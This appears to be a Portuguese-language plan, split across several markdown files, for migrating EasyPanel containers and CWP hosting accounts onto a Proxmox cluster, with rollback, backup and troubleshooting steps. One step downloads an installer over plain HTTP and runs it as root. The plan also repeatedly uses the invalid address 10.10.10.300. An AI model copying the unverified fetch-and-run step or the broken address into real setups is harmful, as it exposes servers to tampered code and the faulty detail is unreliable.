# Ex: Cloudflare ou dns.descomplicar.pt
# Cutover:
A record: old-ip -> NAT port forward para 10.10.10.200:PORT
# Monitorizar por 1h
# Reverter se problemas
```
## 1.7 Rollback Procedure
```bash
# Reverter DNS (TTL 300s = 5min propagacao)
# Reactivar container antigo
# Investigar causa falha
# Re-tentar apos fix
```
Batch 2-N: Repetir ate 108 containers migrados.

View File

@@ -0,0 +1,112 @@
# Fase 2: CWP Migration (Week 3-6)
Target: Migrar 39 vhosts CWP para VM AlmaLinux 8
**CRITICAL:** 7 dias safety net - server.descomplicar.pt intacto
## 2.1 Criar VM AlmaLinux 8 + CWP
```bash
qm create 300 \
--name cwp-legacy \
--memory 16384 \
--cores 6 \
--net0 virtio,bridge=vmbr0 \
--scsi0 rpool/vm-disks:150 \
--ostype l26
# Instalar AlmaLinux 8
# Instalar CWP7
wget http://centos-webpanel.com/cwp-el8-latest
sh cwp-el8-latest
```
## 2.2 Backup CWP Accounts
```bash
# Em server.descomplicar.pt
for account in $(cat /tmp/cwp-accounts.txt); do
/scripts/pkgacct $account
done
# Transfer backups
rsync -avz /home/backup-*/cpmove-*.tar.gz \
root@cluster.descomplicar.pt:/mnt/migration/cwp/
```
## 2.3 Migrar Contas (Batch 3-5 contas)
Workflow por conta:
```bash
# 1. Restore backup em VM CWP
scp /mnt/migration/cwp/cpmove-ACCOUNT.tar.gz root@10.10.10.300:/home/
# 2. Restore via CWP
/scripts/restorepkg ACCOUNT
# 3. Validar:
- Site carrega (HTTP 200)
- Database conecta
- Email funciona (send test)
- SSL certificado valido
# 4. DNS cutover (TTL 300s)
A record: site.com -> 10.10.10.300 (via NAT port forward)
# 5. Monitorizar 24h
```
## 2.4 Validation Period (7 dias)
```bash
# Days 1-7 apos migration:
- Server antigo (server.descomplicar.pt) INTACTO
- Rollback instantaneo se problema critical
- Cliente pode reverter DNS manualmente se necessario
# Day 7: Confirmar com Emanuel
# Se tudo OK -> proceder cleanup
# Se problemas -> extend validation ou rollback completo
```
## 2.5 Email Migration
```bash
# Por cada conta CWP:
# 1. Backup mailboxes
tar -czf /tmp/mail-ACCOUNT.tar.gz /home/ACCOUNT/mail/
# 2. Transfer
scp /tmp/mail-ACCOUNT.tar.gz root@10.10.10.300:/tmp/
# 3. Restore
cd /home/ACCOUNT/
tar -xzf /tmp/mail-ACCOUNT.tar.gz
# 4. Fix permissions
chown -R ACCOUNT:ACCOUNT /home/ACCOUNT/mail/
# 5. Testar IMAP/SMTP
telnet localhost 143 # IMAP
telnet localhost 25 # SMTP
```
## 2.6 Rollback Procedure (Fase 2)
```bash
# Disponivel ate Day 7
# 1. Reverter DNS (todos sites)
A records -> IP antigo (server.descomplicar.pt)
# 2. Verificar server antigo online
ping server.descomplicar.pt
# 3. Comunicar clientes
# 4. Analisar causa falha
# 5. Ajustar plan e re-tentar
```

View File

@@ -0,0 +1,63 @@
# Fase 3: Cluster Formation (Week 7-8)
Target: Formar cluster 2-node, HA, cleanup
## 3.1 Preparar server.descomplicar.pt como Node A
```bash
# APENAS apos Fase 2 100% validada
# Backup final completo
tar -czf /tmp/final-backup-server.tar.gz /etc /home /var/www
# Reformatar com Proxmox (/proxmox-setup)
# Tornar Node A do cluster
```
## 3.2 Cluster Formation
```bash
/proxmox-cluster create --node-a server.descomplicar.pt --node-b cluster.descomplicar.pt
```
## 3.3 HA Configuration
```bash
/proxmox-ha configure --critical-vms 200,300
```
## 3.4 Cleanup
```bash
# Cancelar easy.descomplicar.pt VPS (apos validacao)
# Backup final de tudo
# Documentar nova arquitectura
```
---
## Backup Strategy Durante Migration
### Fase 1 (EasyPanel)
3 locais:
1. Containers em easy.descomplicar.pt (original)
2. PBS Node B backup
3. easy.descomplicar.pt VPS backup (mantido durante Fase 1)
### Fase 2 (CWP)
Safety net 7 dias:
1. Server antigo intacto (rollback rapido)
2. VM CWP -> PBS backups automaticos
3. Backups manuais /mnt/migration/
RPO: 1h (PBS backups hourly se critical)
RTO: 2-4h (restore + DNS propagation)
### Fase 3 (Cluster)
Redundancia completa:
1. VMs em Node A + Node B
2. PBS primary (Node B 16TB)
3. PBS secondary remote sync (Node A 12TB)

View File

@@ -0,0 +1,48 @@
# VM Migration - Troubleshooting
## Container migration fails
```bash
# Verificar logs
docker logs CONTAINER_ID
# Verificar volumes
ls -lah /var/lib/easypanel/projects/PROJECT/
# Testar manual
docker-compose up -d
# Rollback e investigar
```
## CWP site nao carrega apos migration
```bash
# Verificar Apache
systemctl status httpd
# Verificar vhost
cat /usr/local/apache/conf.d/vhosts/DOMAIN.conf
# Verificar database
mysql -u USER -p DATABASE
# Verificar DNS propagation
dig +short DOMAIN @8.8.8.8
```
## Email nao funciona
```bash
# Verificar Postfix
systemctl status postfix
# Testar SMTP
telnet localhost 25
# Verificar DNS MX
dig +short MX DOMAIN
# Verificar logs
tail -f /var/log/maillog
```